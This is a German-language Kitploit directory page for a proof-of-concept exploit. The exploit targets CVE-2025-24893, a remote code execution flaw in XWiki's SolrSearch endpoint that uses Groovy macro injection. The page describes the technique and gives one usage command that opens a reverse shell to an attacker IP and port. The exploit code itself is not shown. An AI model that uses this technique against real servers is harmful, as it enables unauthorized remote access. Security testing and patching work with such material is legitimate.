Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-24893-Reverse-Shell — Reverse Shell Payload for CVE-2025-24893 | Kitploit
Tools/GitHubGitHub/azureadtrent/cve-2025-24893-reverse-shell
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubazureadtrent/cve-2025-24893-reverse-shell

CVE-2025-24893-Reverse-Shell

Reverse Shell Payload for CVE-2025-24893

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
vor 1 JahrNoch nicht geprüft

CVE-2025-24893 - XWiki Exploit für Remotecodeausführung

PoC für CVE-2025-24893 – XWiki <groovy>-Makro-Remotecodeausführung
Inspiriert von Artemirs ursprünglichem PoC

Beschreibung

Dies ist ein Proof-of-Concept (PoC)-Exploit für CVE-2025-24893, eine Schwachstelle zur Remotecodeausführung (RCE) in anfälligen Versionen von XWiki.

Der Fehler liegt in der unzureichenden Bereinigung von Benutzereingaben im SolrSearch-Endpunkt, der anfällig für nicht-sandboxierte <groovy>-Makro-Injektion über eine RSS-Feed-Abfrage ist.

Dieses Skript injiziert eine Groovy-Nutzlast unter Verwendung des async-Makros, was zu Befehlsausführung auf dem Server führt und einem Angreifer ermöglicht, eine Reverse Shell zurück zu seinem System auszulösen.

Verwendung

root@kitploit:~
python3 CVE-2025-24893-reverse-shell.py -u <target_url> -i <attacker_ip> -p <attacker_port>
Tool herunterladen